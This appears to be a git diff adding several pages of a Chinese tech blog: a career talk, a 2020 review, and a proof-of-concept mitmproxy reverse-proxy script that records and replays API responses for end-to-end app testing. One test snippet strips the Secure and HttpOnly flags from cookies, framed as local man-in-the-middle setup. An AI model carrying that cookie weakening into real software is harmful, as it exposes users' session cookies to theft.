可優化 UnitTest 的程式,使之能輸出明確是哪個 Key Missing/Reductant/Duplicate。

使用第三方工具讓工程師完全解放多語系工作

如同之前「 2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密 」的演講內容,在大團隊中多語系工作可以透過第三方服務拆開,多語系工作的依賴關係。

工程師只需定義好 Key,多語系會在 CI/CD 階段從平台自動匯入,少了人工維護的階段;也比較不容易出錯。

Special Thanks

[Wei Cao](https://www.linkedin.com/in/wei-cao-67b5b315a/){:target="_blank"} , iOS Developer @ Pinkoi

Wei Cao , iOS Developer @ Pinkoi

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Visitor Pattern in TableView

無痛轉移 Medium 到自架網站

diff --git a/posts/4b9d09cea5f0/index.html b/posts/4b9d09cea5f0/index.html new file mode 100644 index 000000000..8c7823b6e --- /dev/null +++ b/posts/4b9d09cea5f0/index.html @@ -0,0 +1 @@ + Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk | ZhgChgLi
Home Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk
Post
Cancel

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi Developers’ Night 2022 年末交流會 — 15 分鐘職涯分享演講

Pinkoi Developers’ Night 2022 年末交流會

活動連結: Linkedin

主要聽眾:各大專院校資訊相關科系在校學生

地點時間:2022/12/01 7:00 PM — 9:00 PM

分享時長:15 mins

About Me

目前擔任 Pinkoi Platform (App) Engineer Lead 兼 iOS Engineer,之前待過 街聲數字科技( 上櫃 5287)、 新創公司 ;從高職開始自學網站程式設計,曾獲 全國技能競賽 網頁設計職類冠軍及備取國手,畢業於臺灣科技大學資管系,2017 年轉職 iOS App 開發。

熱衷於探索與技術交流,也會寫寫日常生活或開箱體驗,歡迎大家追縱我的 Medium Blog

Pinkoi Engineer 日常 — 產品

Pinkoi 產品支援電腦版、手機版、iOS、Android 四種平台及繁體中文、香港繁體、簡體中文、日文、泰文、英文六種語系。

幕後有 8+ 個小隊(Squad Team)負責不同面向的工作,例如:Buyer Squad 負責買家端、Seller Squad 負責賣家端、Platform Squad 負責底層、AI Squad 負責算法…等等,一同打造 Pinkoi 產品。

Pinkoi Engineer 日常 — 工具

請注意:本圖非全面或最新的 Tech Stack

請注意:本圖非全面或最新的 Tech Stack

工欲善其事必先利其器,上圖列舉了 Pinkoi 開發團隊,背後的 Tech Stack 及有使用到的工具服務;另外也列舉了跨團隊協作工具 Slack、Asana、Figma …等等服務。

隨團隊規模人數不斷成長,會有更多時候需要溝通或重複性工作,此時透過引入工具服務,可以很好的解開人與人的連結,增加團隊工作效率。

Pinkoi Engineer 日常 — 幕後「功」「臣」

在 Pinkoi 雖然工程師被分派在各個 Squad Team 之中,但彼此之間仍會同心協力, Win as a team, 我們都還是同個家庭

Pinkoi Engineer 日常 — 幕後「功」「臣」

同職能的隊友(e.g. iOS/Android/BE/FE/Data…) 除了會定期舉行技術交流分享外,在日常開發上也會互相 Code Review、進行 System Design 討論;一同討論、一齊成長!

上圖中間的「乖乖」紋身貼紙,是團隊「 送禮清單 」功能上線及「 2022 Pinkoi Design Fest 風格設計節 」活動的 祈福儀式 ,確保服務平平安安穩穩定定。

Engineer 如何幫助推進商業目標?

除了完成任務外,Engineer 還有許多能幫助推進商業目標的地方:

首先撇開 Engineer 角色的束縛,以自身為出發點;我們可以在專案規劃時期,提出自己生活使用經驗及各種有創意的發想,例如:有觀察到朋友的使用習慣或新流行的酷東西 (e.g. iOS 16 動態島),集思廣益之下,說不定就能讓本來平凡無奇的功能變成全新的亮點!

再來回到工程本身,第一當然是必備的開發能力,好的開發能力能保有擴充及穩定性,減少技術債的產生,減少日後維護成本,變相增進商業價值;同樣地,正確的技術選擇,也能在有限的開發資源下發揮最大的價值;這些都需要很多硬實力及經驗累積。

除此之外,發揮溝通協調能力能讓跨工程討論更有效率、發揮協作能力能減少重工發生;都能大大增加團隊產出,更進一步推進商業目標。

綜合以上,工程師絕對不是只能靠寫程式創造價值。

Engineer 如何幫助推進商業目標?

在 Pinkoi,小隊 (Squad Team) 的 Sync-up 或專案討論會議,除工程師之外還會有設計師、PM、分析師,一同參與專案討論;人人都可以提出自己的想法,激發出不同的火花。

身為 Engineer,選擇加入具新創文化而非一般傳統大公司的原因…?

個人體驗,新創文化(also in Pinkoi)有五個特性:

  • 透明 公司的營運狀況、決策跟未來規劃,所有人都能清楚知道
  • 平等 扁平化管理,不會有階級壓力 不分職務大家都能表達意見、參與討論
  • 視野 跟隨團隊一同成長,從小團隊到國際化團隊,增進視野 結合透明與平等,能了解更多方面的眉眉角角
  • 彈性 - 工作上的彈性: 上班時間、WFH 的彈性或溝通協作上都有很多彈性討論空間 - 職務上的彈性: 有更多嘗試不同可能的彈性 更多升遷的彈性
  • 活躍 平均年齡相對年輕有活力,更容易產生共鳴迸出火花,也較容易推動、接納改變

這些特性,以往在傳統大公司就比較不容易看到,傳統公司多半比較封閉跟一版一眼,很難有提議空間,能看到跟做的事也很有限,對於新的改變嘗試也比較排斥;對有活力的新鮮人來說相對比較難發揮。

給想當軟體工程師的新鮮人一點建議…

工程師 28 歲 v.s. 工程師 46 歲 (Elon Musk 也曾是工程師);雖然是梗圖,但想表達的是要成為怎麼樣的工程師,都是由你自己決定。

給想當軟體工程師的新鮮人一點建議…

除了精實開發能力之外,我覺得更重要的是心態問題,人生是一場旅程,有很多階段與角色需要完成;第一個是需要時時刻刻跳脫舒適圈,持續準備好面對更高的挑戰;像我最一開始其實後端工程師,後來轉 iOS 開發,現在開始挑戰管理職。

第二是方向的探索,不要畫地自限,每個人都有無限可能,可以持續調整找到適合自己的方向,在拿手領域發光發熱;我們有隊友也是後期才轉職工程師或是從設計師轉職 PM,另外也可以想一下自己 30 歲、 40 歲想成為什麼角色,例如:繼續鑽研技術變架構師/Tech Lead,或是改擔任管理職。

還有終身學習,學無止盡,尤其我們是資訊行業,千變萬化,如果沒有求新求變很容易被業界淘汰

最後一點也很重要,要保持工作與生活的平衡,Work Hard, Play Hard 除了能提升工作效率,也能從生活經驗汲取工作靈感,如同前面所說,也許一個小創意就能改變世界、創造更高的商業價值!

建議新鮮人 謹慎選擇 前幾份工作,初出社會沈默成本很低;可以先以能學到東西為找工作第一考量,盡量先選擇加入自己有做產品的公司 (e.g. Pinkoi /Line/StreetVoice…) 並不要太頻繁地更換職務 (至少待個一年起),對未來職涯會很有幫助。

人生路還很長,希望大家找到屬於自己的路,謝謝。

立即加入 Pinkoi >>> https://www.pinkoi.com/about/careers

花絮

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

ZReviewTender — 免費開源的 App Reviews 監控機器人

Google 搜尋出現與本人李仲澄無關之負面新聞聲明

diff --git a/posts/5a5c4b25a83d/index.html b/posts/5a5c4b25a83d/index.html new file mode 100644 index 000000000..48b80b953 --- /dev/null +++ b/posts/5a5c4b25a83d/index.html @@ -0,0 +1,523 @@ + POC App End-to-End Testing Local Snapshot API Mock Server | ZhgChgLi
Home POC App End-to-End Testing Local Snapshot API Mock Server
Post
Cancel

POC App End-to-End Testing Local Snapshot API Mock Server

[POC] App End-to-End Testing Local Snapshot API Mock Server

為現成 App 及現有 API 架構實現 E2E Testing 的可能性驗證

Photo by [freestocks](https://unsplash.com/@freestocks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by freestocks

前言

作為一個已在線上運作多年的專案,如何持續提升穩定性是一件極具挑戰的問題。

Unit Testing

App 因開發語言 Swift/Kotlin 靜態+編譯+強型別 或 Objective-C to Swift 動態轉靜態,在開發時沒考慮到可測試性把介面依賴切乾淨,後面要補 Unit Testing 幾乎不可能;但在重構的過程也會帶來不穩定因素,會陷入一個雞生蛋蛋生雞問題。

UI Testing

對 UI 交互、按鈕測試;新開發或舊有的畫面稍微解耦資料依賴就可以實現。

SnapShot Testing

驗證調整前後的 UI 顯示內容、樣式是否一致;同 UI Testing,新開發或舊有的畫面稍微解耦資料依賴就可以實現。

用在 Storyboard/XIB 轉 Code Layout or UIView from OC to Swift 很實用;可以直接導入 pointfreeco / swift-snapshot-testing 快速實現。

雖然我們可以後期補上 UI Testing、SnapShot Testing,但能涵蓋的測試範圍很有限;因為多半的錯誤不會是 UI 樣式,而是流程或是邏輯問題,導致使用者中斷操作, 如果出現在結帳流程,牽涉到營收,問題層級就很嚴重

End-to-End Testing

如前述,無法在現行專案簡易的補上單元測試也無法聚攏單元做整合測試,對於邏輯、流程的防護,還剩下從外部做 End-to-End 黑箱測試的方法,直接以使用者角度出發,操作流程檢查重要的流程(註冊/結帳…)是否正常。

對重大功能的重構也能先建立重構前的流程測試,重構後重新驗證,確保重構後功能如預期。

重構中一併補上 Unit Testing、Integration Testing 增加穩定性,打破雞生蛋蛋生雞的問題。

QA Team

End-to-End Testing 最直接暴力的方式就是請一組 QA Team 依照 Test Plan 進行手動測試,然後再持續優化或引入自動化操作;計算了一下成本至少需要 2 位工程師 + 1 位 Leader 花費至少半年一年時間才能看到成果。

評估時間與成本,有沒有什麼是現況我們能做的或是能為未來 QA Team 做好準備,當有 QA Team 時能直接跳到優化與自動化操作甚至導入 AI(?)。

Automation

現階段以導入自動化 End-to-End Testing 為目標,放在 CI/CD 環節自動檢查,測試內容可以不用太完整、只要能防止重大流程問題就已經很有價值了;後面再慢慢迭代 Test Plan 逐步補齊守備範圍。

End-to-End Testing —技術難點

UI 操作問題

App 的原理比較像是透過另一個測試 App 去操作我們的被測試 App,然後從 View Hierarchy 去找尋目標物件;並且在測試時無法取得被測試 App 的 Log 或 Output,因為本質上就是兩個不同 App。

iOS 需要完善 View Accessibility Identifier 增加效率與準確性還有要處理 Alert (e.g. 推播請求)。

Android 在之前的實作上有遇到混用 Compose 與 Fragment 時會找不到目標物件的問題,但據 Teammate 表示,新版的 Compose 已經解決。

除以上傳統常見問題外,更大的問題是雙平台難以整合(寫一個測試跑兩個平台);目前我們在嘗試使用新的測試工具 mobile-dev-inc / maestro

可以用 YAML 寫 Test Plan 然後在雙平台執行測試,細節使用方式、試用心得,靜待另一位 Teammate 的文章分享 cc’ed Alejandra Ts. 😝。

API 資料問題

對於 App E2E Testing 最大的測試變量就是 API 資料,如果無法提供保證確定的資料,會增加測試的不穩定性,導致誤報,最後大家對 Test Plan 也不再有信心了。

例如測試結帳流程,如果商品有可能被下架或消失,且這些狀態改變不是 App 可控的就很有可能出現以上狀況。

解決資料問題的方式有很多種,可以建立乾淨的 Staging 或 Testing 環境;或是基於 Open API 的 Auto-Gen Mock API Server;但都需要依賴後端、依賴 API 的外部因素,加上後端 API 同 App 一樣是在線上運作多年的專案,部份規格也還在重構 Migrate 暫時無法有 Mock Server。

基於以上因素,如果就卡在這,那問題一樣不會改變、雞生蛋蛋生雞問題也無法突破,真的就只能「挺而走險」的直接先改、出問題再說了。

Snapshot API Local Mock Server

「只要思想不滑坡,方法總比困難多」

我們可以換一個想法,如果 UI 可以用 Snapshot 快照成圖片下來 Replay 進行驗證測試,那 API 是否也可以? 我們是否可以把 API Request & Response 存下來,在後續 Replay 進行驗證測試?

藉此引入本篇文章的重點:建立「Snapshot API Local Mock Server」Record API Request & Replay Response 剝離與 API 資料的依賴。

本文只做了 POC 概念驗證,還沒有真正全面實現高覆蓋率的 End To End Testing,因此做法僅供參考, 希望對大家在現有環境下有新的啟發

Snapshot API Local Mock Server

核心概念 — Record & Replay API Data

[Record] — End-to-End Testing Test Case 開發完成後,打開錄製參數,執行一次測試,過程中所有 API Request & Response 會存下來放在各個 Test Case 目錄內。

[Replay] — 後面在跑 Test Case 時,依照請求從 Test Case 目錄中找到對應錄製下來的 Response Data,完成測試流程。

示意圖

假設我們要測試加入購買流程,使用者打開 App 後在首頁點擊商品卡進入商品詳細頁,按底部購買,跳出登入匡完成登入,完成購買,跳出購買成功提示:

UI Testing 如何控制按鈕點擊、輸入匡輸入…等等,不是本文主要研究重點;可參考現有的測試框架直接使用。

Regular Proxy or Reverse Proxy

要達成 Record & Replay API 需要在 App 與 API 之間加上 Proxy 做中間人攻擊,可參考我早期的文章「 APP有用HTTPS傳輸,但資料還是被偷了。

簡單來說就是在 App 與 API 之間多了一個代理的傳遞者,如同傳紙條一樣,雙方傳遞的請求與回應都會經過他,他可以打開來紙條的內容,也可以偽造紙條內容給彼此,雙方不會察覺你從中做梗。

正向代理 Regular Proxy:

正向代理是客戶端向代理伺服器發送請求,代理伺服器再將請求轉發給目標伺服器,並將目標伺服器的回應返回給客戶端。在正向代理模式下,代理伺服器代表客戶端發起請求。客戶端需要明確指定代理伺服器的位址和埠號,並將請求發送給代理伺服器。

反向代理 Reverse Proxy:

反向代理與正向代理相反,它位於目標伺服器和客戶端之間。客戶端向反向代理伺服器發送請求,反向代理伺服器根據一定的規則將請求轉發給後端的目標伺服器,並將目標伺服器的回應返回給客戶端。對於客戶端來說,目標伺服器看起來就像是反向代理伺服器,客戶端不需要知道目標伺服器的真實位址。

對我們的需求來說正向或反向都可以達成目的,唯一要考慮的事是代理設置的方式:

正向代理需要在電腦上或手機、模擬起的網路設置中掛上 Proxy 代理:

  • Android 能在模擬器中個別直接設置 Proxy 代理
  • iOS Simulator 同電腦的網路環境,無法個設置 Proxy,變成要去改電腦的設置才能掛上 Proxy,電腦的所有流量也都會經過這個 Proxy 並且如果同時開啟 Proxyman 或 Charles 等等其他網路工具,有機會會強制更改 Proxy 設置成該軟體的,導致失效。

反向代理需要改 Codebase 中的 API Host 並且要宣告要代理的所有 API Domains:

  • Codebase 中的 API Host 要在測試時替換成 Proxy Server IP
  • 在啟用 Reverse Proxy 時要宣告哪些 Domain 要掛上 Proxy
  • 只有宣告的 Domain 才會走 Proxy,沒宣告的會直通出去

配合 iOS App,以下以 iOS & 使用 Reverse Proxy 反向代理為例做 POC,Android 一樣可以使用。

讓 iOS App 知道現在正在跑 End-to-End Testing

我們需要讓 App 知道現在正在跑 End-to-End Testing 才能在 App 程式裡加上 API Host 替換邏輯:

1
+2
+3
+4
+
// UI Testing Target:
+let app = XCUIApplication()
+app.launchArguments = ["duringE2ETesting"]
+app.launch()
+

我們在 Network 層做判斷抽換。

這是不得已的調整,盡量還是不要為了測試而去改 App 的 Code。

使用 MITMProxy 實現 Reverse Proxy Server

亦可使用 Swift 自行開發 Swift Server 達成,本文只是 POC 因此直接使用 MITMProxy 工具。

[2023–09–04 Update] Mitmproxy-rodo 已開源

以下實作內容已經開源到 mitmproxy-rodo 專案,歡迎直接前往對照使用。

部份結構與本文章內容有所調整,開源時後續調整了:

  • 儲存目錄的結構,改為 host / requestPath / method / hash
  • 修正 Header 資訊儲存,應該為 Bytes Data 而非純 JSON String
  • 修正部份錯誤
  • 增加自動延長 Set-Cookie 時效功能

⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。

⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。

⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。

⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。

⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。

MITMProxy

照著 MITMProxy 官網 完成安裝:

1
+
brew install mitmproxy
+

MITMProxy 細節用法可參考我早期的文章「 APP有用HTTPS傳輸,但資料還是被偷了。

  • mitmproxy 提供一個互動式的命令行界面。
  • mitmweb 提供基於瀏覽器的圖形用戶界面。
  • mitmdump 提供非互動的終端輸出。

實現 Record & Replay

因 MITMProxy Reverse Proxy 原生沒有 Record (or dump) request & Mapping Request Replay 的功能,因此我們需要自行撰寫腳本實現此功能。

mock.py :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+
"""
+Example:
+    Record: mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json
+    Replay: mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json
+"""
+
+import re
+import logging
+import mimetypes
+import os
+import json
+import hashlib
+
+from pathlib import Path
+from mitmproxy import ctx
+from mitmproxy import http
+
+class MockServerHandler:
+
+    def load(self, loader):
+        self.readHistory = {}
+        self.configuration = {}
+
+        loader.add_option(
+            name="dumper_folder",
+            typespec=str,
+            default="dump",
+            help="Response Dump 目錄,可以 by Test Case Name 建立",
+        )
+
+        loader.add_option(
+            name="network_restricted",
+            typespec=bool,
+            default=True,
+            help="本地沒有 Mapping 資料...設置 true 會 return 404、false 會去打真實請求拿資料。",
+        )
+
+        loader.add_option(
+            name="record",
+            typespec=bool,
+            default=False,
+            help="設置 true 錄製 Request's Response",
+        )
+
+        loader.add_option(
+            name="config_file",
+            typespec=str,
+            default="",
+            help="設置檔案路徑,範例檔案在下面",
+        )
+    
+    def configure(self, updated):
+        self.loadConfig()
+
+    def loadConfig(self):
+        configFile = Path(ctx.options.config_file)
+        if ctx.options.config_file == "" or not configFile.exists():
+            return
+
+        self.configuration = json.loads(open(configFile, "r").read())
+
+    def hash(self, request):
+        query = request.query
+        requestPath = "-".join(request.path_components)
+
+        ignoredQueryParameterByPaths = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("queryParamters", [])
+        ignoredQueryParameterGlobal = self.configuration.get("ignored", {}).get("global", {}).get("queryParamters", [])
+
+        filteredQuery = []
+        if query:
+            filteredQuery = [(key, value) for key, value in query.items() if key not in ignoredQueryParameterByPaths + ignoredQueryParameterGlobal]
+        
+        formData = []
+        if request.get_content() != None and request.get_content() != b'':
+            formData = json.loads(request.get_content())
+        
+        # or just formData = request.urlencoded_form
+        # or just formData = request.multipart_form
+        # depends on your api design
+
+        ignoredFormDataParametersByPaths = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("formDataParameters", [])
+        ignoredFormDataParametersGlobal = self.configuration.get("ignored", {}).get("global", {}).get("formDataParameters", [])
+
+        filteredFormData = []
+        if formData:
+            filteredFormData = [(key, value) for key, value in formData.items() if key not in ignoredFormDataParametersByPaths + ignoredFormDataParametersGlobal]
+        
+        # Serialize the dictionary to a JSON string
+        hashData = {"query":sorted(filteredQuery), "form": sorted(filteredFormData)}
+        json_str = json.dumps(hashData, sort_keys=True)
+
+        # Apply SHA-256 hash function
+        hash_object = hashlib.sha256(json_str.encode())
+        hash_string = hash_object.hexdigest()
+        
+        return hash_string
+
+    def readFromFile(self, request):
+        host = request.host
+        method = request.method
+        hash = self.hash(request)
+        requestPath = "-".join(request.path_components)
+
+        folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash
+
+        if not folder.exists():
+            return None
+
+        content_type = request.headers.get("content-type", "").split(";")[0]
+        ext = mimetypes.guess_extension(content_type) or ".json"
+
+
+        count = self.readHistory.get(host, {}).get(method, {}).get(requestPath, {}) or 0
+
+        filepath = folder / f"Content-{str(count)}{ext}"
+
+        while not filepath.exists() and count > 0:
+            count = count - 1
+            filepath = folder / f"Content-{str(count)}{ext}"
+
+        if self.readHistory.get(host) is None:
+            self.readHistory[host] = {}
+        if self.readHistory.get(host).get(method) is None:
+            self.readHistory[host][method] = {}
+        if self.readHistory.get(host).get(method).get(requestPath) is None:
+            self.readHistory[host][method][requestPath] = {}
+
+        if filepath.exists():
+            headerFilePath = folder / f"Header-{str(count)}.json"
+            if not headerFilePath.exists():
+                headerFilePath = None
+            
+            count += 1
+            self.readHistory[host][method][requestPath] = count
+
+            return {"content": filepath, "header": headerFilePath}
+        else:
+            return None
+
+
+    def saveToFile(self, request, response):
+        host = request.host
+        method = request.method
+        hash = self.hash(request)
+        requestPath = "-".join(request.path_components)
+
+        iterable = self.configuration.get("ignored", {}).get("paths", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get("iterable", False)
+        
+        folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash
+
+        # create dir if not exists
+        if not folder.exists():
+            os.makedirs(folder)
+
+        content_type = response.headers.get("content-type", "").split(";")[0]
+        ext = mimetypes.guess_extension(content_type) or ".json"
+
+        repeatNumber = 0
+        filepath = folder / f"Content-{str(repeatNumber)}{ext}"
+        while filepath.exists() and iterable == False:
+            repeatNumber += 1
+            filepath = folder / f"Content-{str(repeatNumber)}{ext}"
+        
+        # dump to file
+        with open(filepath, "wb") as f:
+            f.write(response.content or b'')
+            
+        
+        headerFilepath = folder / f"Header-{str(repeatNumber)}.json"
+        with open(headerFilepath, "wb") as f:
+            responseDict = dict(response.headers.items())
+            responseDict['_status_code'] = response.status_code
+            f.write(json.dumps(responseDict).encode('utf-8'))
+
+        return {"content": filepath, "header": headerFilepath}
+
+    def request(self, flow):
+        if ctx.options.record != True:
+            host = flow.request.host
+            path = flow.request.path
+
+            result = self.readFromFile(flow.request)
+            if result is not None:
+                content = b''
+                headers = {}
+                statusCode = 200
+
+                if result.get('content') is not None:
+                    content = open(result['content'], "r").read()
+
+                if result.get('header') is not None:
+                    headers = json.loads(open(result['header'], "r").read())
+                    statusCode = headers['_status_code']
+                    del headers['_status_code']
+
+                
+                headers['_responseFromMitmproxy'] = '1'
+                flow.response = http.Response.make(statusCode, content, headers)
+                logging.info("Fullfill response from local with "+str(result['content']))
+                return
+
+            if ctx.options.network_restricted == True:
+                flow.response = http.Response.make(404, b'', {'_responseFromMitmproxy': '1'})
+        
+    def response(self, flow):
+        if ctx.options.record == True and flow.response.headers.get('_responseFromMitmproxy') != '1':
+            result = self.saveToFile(flow.request, flow.response)
+            logging.info("Save response to local with "+str(result['content']))
+
+addons = [MockServerHandler()]
+

可以自行參考 官方文件 ,依照需求調整腳本內容。

此腳本設計邏輯如下:

  • 檔案路徑邏輯: dumper_folder(a.k.a Test Case Name) / Reverse's api host / HTTP Method / Path join with - (e.g. app/launch -> app-launch ) / Hash(Get Query & Post Content) /
  • 檔案邏輯:回應的內容: Content-0.xxxContent-1.xxx (同個請求打第二次)…以此類推;回應的 Header 資訊: Header-0.json (同 Content-x 邏輯)

  • 儲存時會依照路徑、檔案邏輯依序儲存;在 Replay 時同樣依序取出
  • 如果次數不匹配,例如 Replay 時同個路徑打了 3 次,但 Record 儲存的資料只存到第 2 次;則還是會持續回應第 2 次,也就是最後一次的結果
  • recordTrue 時,會去打目標 Server 取得回應並依照上述邏輯儲存下來; False 時則只會從本地讀資料 (等於 Replay Mode)
  • network_restrictedFalse 時,本地沒 Mapping 資料會直接回應 404 ;為 True 時會去打目標 Server 拿資料。
  • _responseFromMitmproxy 用於告知 Response Method 當前回應來自 Local,可以忽略不管、 _status_code 借用 Header.json 欄位儲存 HTTP Response 狀態碼。

config_file.json 設置檔案邏輯設計如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
{
+  "ignored": {
+    "paths": {
+      "yourapihost.com": {
+        "add-to-cart": {
+          "POST": {
+            "queryParamters": [
+              "created_timestamp"
+            ],
+            "formDataParameters": []
+          }
+        },
+        "api-status-checker": {
+          "GET": {
+            "iterable": true
+          }
+        }
+      }
+    },
+    "global": {
+      "queryParamters": [
+        "timestamp"
+      ],
+      "formDataParameters": []
+    }
+  }
+}
+

queryParamters & formDataParameters :

因部分 API 參數可能會隨呼叫改變,例如有的 Endpoint 會帶上時間參數,此時依照 Server 的設計, Hash(Query Parameter & Body Content) 的值就會在 Replay Request 時不一樣,導致 Mapping 不到 Local Response,因此多開了一個 config.json 處理這個情況,可以 by Endpoint Path or Global 設定某個參數應該在排除 Hash 時排除,就能取得同樣的 Mapping 結果。

iterable :

因部分輪詢檢查的 API 可能會重複定時不斷呼叫,照 Server 的設計會產出很多 Content-x.xxx & Header-x.json 檔案;但假設我們不在意則可設定為 True ,Response 會持續儲存覆蓋到 Content-0.xxx & Header-0.json 第一個檔案內。

啟用 Reverse Proxy Record Mode:

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json
+

啟用 Reverse Proxy Replay Mode:

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json
+

組裝 & Proof Of Concept

0. 完成 Codebase 中 Host 的抽換

並確認在跑測試時,API 已改用 http://127.0.0.1:8080

1. 啟動 Snapshot API Local Mock Server (a.k.a Reverse Proxy Server) Record Mode

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=addCart --set config_file=config.json
+

2. 執行 E2E Testing UI 操作

Pinkoi iOS App 為例,測試以下流程:

Launch App -> Home -> Scroll Down -> Similar to Wish List Items Section -> First Product -> Click First Product -> Enter Product Page -> Click Add to Cart -> UI Response Added to Cart -> Test Successful ✅

UI 自動化操作方式前面有提到,這邊先手動測試相同的流程驗證結果。

3. 取得 Record 結果

操作完成後可以下 ^ + C 終止 Snapshot API Mock Server,到檔案目錄查看錄製結果:

4. Replay 驗證同個流程,啟動 Server & Using Replay Mode

1
+
mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=addCart --set config_file=config.json
+

5. 再次執行剛剛的 UI 操作驗證結果

  • 左:Test Successful ✅
  • 右:測試點擊錄製以外的商品,此時會出現 Error (因本地沒資料 + network_restricted 預設是 False 本地沒資料直接傳 404,不會從網路拿資料)

6. Proof Of Concept ✅

概念驗證通過,我們確實能透過實現 Reverse Proxy Server 來自行儲存 API Request & Response 並作為 Mock API Server 在測試時回應資料給 App 🎉🎉🎉。

[2023–09–04] mitmproxy-rodo 已開源

後續和雜記

本文只探討了概念驗證,後續還有許多地方要補齊也還有更多功能可以實現。

  1. maestro UI Testinga 工具整合
  2. CI/CD 流程整合設計 (怎麼自動起 Reverse Proxy? 起在哪裡? )
  3. 怎麼把 MITMProxy 封裝在開發工具內?
  4. 驗證更複雜的測試場景
  5. 針對發送的 Tracking Request 做驗證,需多實現存 Request Body,然後從中取得打了哪些 Tracking Event Data、是否符合流程該送的事件
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
#...
+    def response(self, flow):
+        setCookies = flow.response.headers.get_all("set-cookie")
+        # setCookies = ['ad=0; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/', 'sessionid=xxxx; Secure; HttpOnly; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/']
+        
+        # OR Replace Cookie Domain From .xxx.com To 127.0.0.1
+        setCookies = [re.sub(r"\s*\.xxx\.com\s*", "127.0.0.1", s) for s in setCookies]
+
+        # AND 移除安全性相關限制
+        setCookies = [re.sub(r";\s*Secure\s*", "", s) for s in setCookies]
+        setCookies = [re.sub(r";\s*HttpOnly;\s*", "", s) for s in setCookies]
+
+        flow.response.headers.set_all("Set-Cookie", setCookies)
+
+        #...
+

如果有遇到 Cookie 方面的問題,例如 API 有回應 Cookie 但 App 沒接到,可參考以上的調整。

在 Pinkoi 的最後一篇文章

在 Pinkoi 900 多天的日子裡,實現了許多我職涯上還有 iOS / App 開發、流程的想像,感謝所有隊友,一起走過疫情、經歷風雨;告別的勇氣如同當初追尋夢想入職的勇氣。

正在啟航找尋新的人生挑戰(包括但不限於工程),如果您有合適的機會(iOS or 工程管理 or 新創產品)歡迎與我聯絡。 🙏🙏🙏

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier

遊記 9/11 名古屋一日快閃自由行

diff --git a/posts/5ea3311119d8/index.html b/posts/5ea3311119d8/index.html new file mode 100644 index 000000000..1bd3bc356 --- /dev/null +++ b/posts/5ea3311119d8/index.html @@ -0,0 +1 @@ + Bye Bye 2020 經營 Medium 第二年回顧 | ZhgChgLi
Home Bye Bye 2020 經營 Medium 第二年回顧
Post
Cancel

Bye Bye 2020 經營 Medium 第二年回顧

Bye Bye 2020 經營 Medium 第二年回顧

遲到遲到再遲到的 2020 回顧

[圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報](https://simplelife.streetvoice.com/2020/){:target="_blank"}

圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報

2018–2019 第一年的回顧在這。

艱難的一年

無關工作,2020 對我來說是艱難的一年;經歷了許多重大挫折,不過還好,都挺過去了。

我只想說一句:

